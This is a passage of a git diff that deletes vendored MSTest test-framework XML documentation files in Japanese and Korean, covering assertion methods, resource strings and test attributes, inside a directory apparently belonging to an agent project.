の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if every element in is also found in - . - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 最初のコレクションが 2 番目のコレクションのサブセットであるかどうかを - 決定します。いずれかのセットに重複する要素が含まれている場合は、 - サブセット内の要素の出現回数は - スーパーセット内の出現回数以下である必要があります。 - - - テストで次に含まれると予期されるコレクション 。 - - - テストで次を含むと予期されるコレクション 。 - - - 次の場合は true 次のサブセットの場合 - 、それ以外の場合は false。 - - - - - 指定したコレクションの各要素の出現回数を含む - 辞書を構築します。 - - - 処理するコレクション。 - - - コレクション内の null 要素の数。 - - - 指定したコレクション内の各要素の - 出現回数を含むディレクトリ。 - - - - - 2 つのコレクション間で一致しない要素を検索します。 - 一致しない要素とは、予期されるコレクションでの出現回数が - 実際のコレクションでの出現回数と異なる要素のことです。 - コレクションは、同じ数の要素を持つ、null ではない - さまざまな参照と見なされます。このレベルの検証を行う責任は - 呼び出し側にあります。一致しない要素がない場合、 - 関数は false を返し、out パラメーターは使用されません。 - - - 比較する最初のコレクション。 - - - 比較する 2 番目のコレクション。 - - - 次の予期される発生回数 - または一致しない要素がない場合は - 0 です。 - - - 次の実際の発生回数 - または一致しない要素がない場合は - 0 です。 - - - 一致しない要素 (null の場合があります)、または一致しない要素がない場合は - null です。 - - - 一致しない要素が見つかった場合は true、それ以外の場合は false。 - - - - - object.Equals を使用してオブジェクトを比較する - - - - - フレームワーク例外の基底クラス。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - ローカライズされた文字列などを検索するための、厳密に型指定されたリソース クラス。 - - - - - このクラスで使用されているキャッシュされた ResourceManager インスタンスを返します。 - - - - - 厳密に型指定されたこのリソース クラスを使用して、現在のスレッドの - CurrentUICulture プロパティをすべてのリソース ルックアップで無視します。 - - - - - "アクセス文字列は無効な構文を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "予期されたコレクションでは、<{2}> が {1} 回発生します。実際のコレクションでは、{3} 回発生します。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "重複する項目が見つかりました:<{1}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要です。実際の値: <{2}> では大文字と小文字が異なります。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> 以内の差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1} ({2})> が必要ですが、<{3} ({4})> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要ですが、<{2}> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> を超える差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> 以外の任意の値が必要ですが、<{2}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "AreSame() に値型を渡すことはできません。オブジェクトに変換された値は同じになりません。AreEqual() を使用することを検討してください。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0} に失敗しました。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "UITestMethodAttribute が指定された非同期の TestMethod はサポートされていません。非同期を削除するか、TestMethodAttribute を使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが空です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションの参照が、同じコレクション オブジェクトにポイントしています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0}({1})" に類似したローカライズされた文字列を検索します。 - - - - - "(null)" に類似したローカライズされた文字列を検索します。 - - - - - Looks up a localized string similar to (object). - - - - - "文字列 '{0}' は文字列 '{1}' を含んでいません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} ({1})" に類似したローカライズされた文字列を検索します。 - - - - - "アサーションには Assert.Equals を使用せずに、Assert.AreEqual とオーバーロードを使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "コレクション内の要素数が一致しません。<{1}> が必要ですが <{2}> が指定されています。{0}。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {0} の要素が一致しません。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は、必要な型ではありません。<{2}> が必要ですが、<{3}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は null です。必要な型:<{2}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は文字列 '{1}' で終わりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "無効な引数 - EqualsTester は null を使用することはできません。" に類似したローカライズされた文字列を検索します。 - - - - - "型 {0} のオブジェクトを {1} に変換できません。" に類似したローカライズされた文字列を検索します。 - - - - - "参照された内部オブジェクトは、現在有効ではありません。" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "プロパティ {0} は型 {1} を含んでいますが、型 {2} が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} には型 <{1}> が必要ですが、型 <{2}> が指定されました。" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は、パターン '{1}' と一致しません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "正しくない型は <{1}> であり、実際の型は <{2}> です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' はパターン '{1}' と一致します。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "DataRowAttribute が指定されていません。DataTestMethodAttribute では少なくとも 1 つの DataRowAttribute が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "例外がスローされませんでした。{1} の例外が予期されていました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。値を null にすることはできません。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "要素数が異なります。" に類似したローカライズされた文字列を検索します。 - - - - - "指定されたシグネチャを使用するコンストラクターが見つかりませんでした。 - プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - PrivateObject のコンストラクターに定義する型を渡す必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - - "指定されたメンバー ({0}) が見つかりませんでした。プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - 定義する型を PrivateObject のコンストラクターに渡す必要があります。" - に類似したローカライズされた文字列を検索します。 - - - - - - "文字列 '{0}' は文字列 '{1}' で始まりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "予期される例外の型は System.Exception または System.Exception の派生型である必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - "(例外が発生したため、型 {0} の例外のメッセージを取得できませんでした。)" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは予期された例外 {0} をスローしませんでした。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは例外をスローしませんでした。テスト メソッドで定義されている属性 {0} で例外が予期されていました。" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} またはその派生型が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "例外 {2} がスローされましたが、例外 {1} が予期されていました。{0} - 例外メッセージ: {3} - スタック トレース: {4}" に類似したローカライズされた文字列を検索します。 - - - - - 単体テストの成果 - - - - - テストを実行しましたが、問題が発生しました。 - 問題には例外または失敗したアサーションが関係している可能性があります。 - - - - - テストが完了しましたが、成功したか失敗したかは不明です。 - 中止したテストに使用される場合があります。 - - - - - 問題なくテストが実行されました。 - - - - - 現在テストを実行しています。 - - - - - テストを実行しようとしているときにシステム エラーが発生しました。 - - - - - テストがタイムアウトしました。 - - - - - ユーザーによってテストが中止されました。 - - - - - テストは不明な状態です - - - - - 単体テストのフレームワークのヘルパー機能を提供する - - - - - すべての内部例外のメッセージなど、例外メッセージを - 再帰的に取得します - - 次のメッセージを取得する例外 - エラー メッセージ情報を含む文字列 - - - - クラスで使用できるタイムアウトの列挙型。 - 列挙型の型は一致している必要があります - - - - - 無限。 - - - - - テスト クラス属性。 - - - - - このテストの実行を可能するテスト メソッド属性を取得します。 - - このメソッドで定義されているテスト メソッド属性インスタンス。 - The 。このテストを実行するために使用されます。 - Extensions can override this method to customize how all methods in a class are run. - - - - テスト メソッド属性。 - - - - - テスト メソッドを実行します。 - - 実行するテスト メソッド。 - テストの結果を表す TestResult オブジェクトの配列。 - Extensions can override this method to customize running a TestMethod. - - - - テスト初期化属性。 - - - - - テスト クリーンアップ属性。 - - - - - Ignore 属性。 - - - - - テストのプロパティ属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 名前。 - - - 値。 - - - - - 名前を取得します。 - - - - - 値を取得します。 - - - - - クラス初期化属性。 - - - - - クラス クリーンアップ属性。 - - - - - アセンブリ初期化属性。 - - - - - アセンブリ クリーンアップ属性。 - - - - - テストの所有者 - - - - - クラスの新しいインスタンスを初期化します。 - - - 所有者。 - - - - - 所有者を取得します。 - - - - - 優先順位属性。単体テストの優先順位を指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 優先順位。 - - - - - 優先順位を取得します。 - - - - - テストの説明 - - - - - テストを記述する クラスの新しいインスタンスを初期化します。 - - 説明。 - - - - テストの説明を取得します。 - - - - - CSS プロジェクト構造の URI - - - - - CSS プロジェクト構造の URI の クラスの新しいインスタンスを初期化します。 - - CSS プロジェクト構造の URI。 - - - - CSS プロジェクト構造の URI を取得します。 - - - - - CSS イテレーション URI - - - - - CSS イテレーション URI の クラスの新しいインスタンスを初期化します。 - - CSS イテレーション URI。 - - - - CSS イテレーション URI を取得します。 - - - - - WorkItem 属性。このテストに関連付けられている作業項目の指定に使用されます。 - - - - - WorkItem 属性の クラスの新しいインスタンスを初期化します。 - - 作業項目に対する ID。 - - - - 関連付けられている作業項目に対する ID を取得します。 - - - - - タイムアウト属性。単体テストのタイムアウトを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - タイムアウト。 - - - - - 事前設定するタイムアウトを指定して クラスの新しいインスタンスを初期化する - - - タイムアウト - - - - - タイムアウトを取得します。 - - - - - アダプターに返される TestResult オブジェクト。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - 結果の表示名を取得または設定します。複数の結果が返される場合に便利です。 - null の場合は、メソッド名が DisplayName として使用されます。 - - - - - テスト実行の成果を取得または設定します。 - - - - - テストが失敗した場合にスローされる例外を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでデバッグ トレースを取得または設定します。 - - - - - Gets or sets the debug traces by test code. - - - - - テスト実行の期間を取得または設定します。 - - - - - データ ソース内のデータ行インデックスを取得または設定します。データ ドリブン テストの一続きのデータ行の - それぞれの結果に対してのみ設定されます。 - - - - - テスト メソッドの戻り値を取得または設定します。(現在は、常に null です)。 - - - - - テストで添付された結果ファイルを取得または設定します。 - - - - - データ ドリブン テストの接続文字列、テーブル名、行アクセス方法を指定します。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource の既定のプロバイダー名。 - - - - - 既定のデータ アクセス方法。 - - - - - クラスの新しいインスタンスを初期化します。このインスタンスは、データ ソースにアクセスするためのデータ プロバイダー、接続文字列、データ テーブル、データ アクセス方法を指定して初期化されます。 - - System.Data.SqlClient などデータ プロバイダーの不変名 - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - データにアクセスする順番をしています。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは接続文字列とテーブル名を指定して初期化されます。 - OLEDB データ ソースにアクセスするには接続文字列とデータ テーブルを指定します。 - - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは設定名に関連付けられているデータ プロバイダーと接続文字列を使用して初期化されます。 - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションにあるデータ ソースの名前。 - - - - データ ソースのデータ プロバイダーを表す値を取得します。 - - - データ プロバイダー名。データ プロバイダーがオブジェクトの初期化時に指定されていなかった場合は、System.Data.OleDb の既定のプロバイダーが返されます。 - - - - - データ ソースの接続文字列を表す値を取得します。 - - - - - データを提供するテーブル名を示す値を取得します。 - - - - - データ ソースへのアクセスに使用するメソッドを取得します。 - - - - 次のいずれか 値。以下の場合 初期化されていない場合は、これは既定値を返します 。 - - - - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションで見つかるデータ ソースの名前を取得します。 - - - - - データをインラインで指定できるデータ ドリブン テストの属性。 - - - - - すべてのデータ行を検索して、実行します。 - - - テスト メソッド。 - - - 次の配列 。 - - - - - データ ドリブン テスト メソッドを実行します。 - - 実行するテスト メソッド。 - データ行. - 実行の結果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 93582a16..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 테스트 배포별 배포 항목(파일 또는 디렉터리)을 지정하는 데 사용됩니다. - 테스트 클래스 또는 테스트 메서드에서 지정할 수 있습니다. - 둘 이상의 항목을 지정하기 위한 여러 특성 인스턴스를 가질 수 있습니다. - 항목 경로는 절대 또는 상대 경로일 수 있으며, 상대 경로인 경우 RunConfig.RelativePathRoot가 기준입니다. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리에 대한 상대 또는 절대 경로. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - 항목을 복사할 디렉터리의 경로. 배포 디렉터리에 대한 절대 경로 또는 상대 경로일 수 있습니다.에 의해 식별되는 모든 파일 및 디렉터리는 이 디렉터리에 복사됩니다. - - - - 복사할 소스 파일 또는 폴더의 경로를 가져옵니다. - - - - - 항목을 복사할 디렉터리의 경로를 가져옵니다. - - - - - Windows 스토어 앱에 대한 UI 스레드에서 테스트 코드를 실행합니다. - - - - - UI 스레드에서 테스트 메서드를 실행합니다. - - - 테스트 메서드입니다. - - - 배열 인스턴스. - - Throws when run on an async test method. - - - - - TestContext 클래스. 이 클래스는 완전히 추상 클래스여야 하며 멤버를 포함할 - 수 없습니다. 어댑터는 멤버를 구현합니다. 프레임워크의 사용자는 - 잘 정의된 인터페이스를 통해서만 여기에 액세스할 수 있습니다. - - - - - 테스트에 대한 테스트 속성을 가져옵니다. - - - - - 현재 실행 중인 테스트 메서드를 포함하는 클래스의 정규화된 이름을 가져옵니다 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 현재 실행 중인 테스트 메서드의 이름을 가져옵니다. - - - - - 현재 테스트 결과를 가져옵니다. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 22e769ac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 실행을 위한 TestMethod입니다. - - - - - 테스트 메서드의 이름을 가져옵니다. - - - - - 테스트 클래스의 이름을 가져옵니다. - - - - - 테스트 메서드의 반환 형식을 가져옵니다. - - - - - 테스트 메서드의 매개 변수를 가져옵니다. - - - - - 테스트 메서드에 대한 methodInfo를 가져옵니다. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 테스트 메서드를 호출합니다. - - - 테스트 메서드에 전달할 인수(예: 데이터 기반의 경우) - - - 테스트 메서드 호출의 결과. - - - This call handles asynchronous test methods as well. - - - - - 테스트 메서드의 모든 특성을 가져옵니다. - - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 모든 특성. - - - - - 특정 형식의 특성을 가져옵니다. - - System.Attribute type. - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 지정한 형식의 특성입니다. - - - - - 도우미입니다. - - - - - 검사 매개 변수가 Null이 아닙니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws argument null exception when parameter is null. - - - - 검사 매개 변수가 Null이 아니거나 비어 있습니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws ArgumentException when parameter is null. - - - - 데이터 기반 테스트에서 데이터 행에 액세스하는 방법에 대한 열거형입니다. - - - - - 행이 순차적인 순서로 반환됩니다. - - - - - 행이 임의의 순서로 반환됩니다. - - - - - 테스트 메서드에 대한 인라인 데이터를 정의하는 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - - - - 인수 배열을 사용하는 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - 추가 데이터. - - - - 테스트 메서드 호출을 위한 데이터를 가져옵니다. - - - - - 사용자 지정을 위한 테스트 결과에서 표시 이름을 가져오거나 설정합니다. - - - - - 어설션 불확실 예외입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 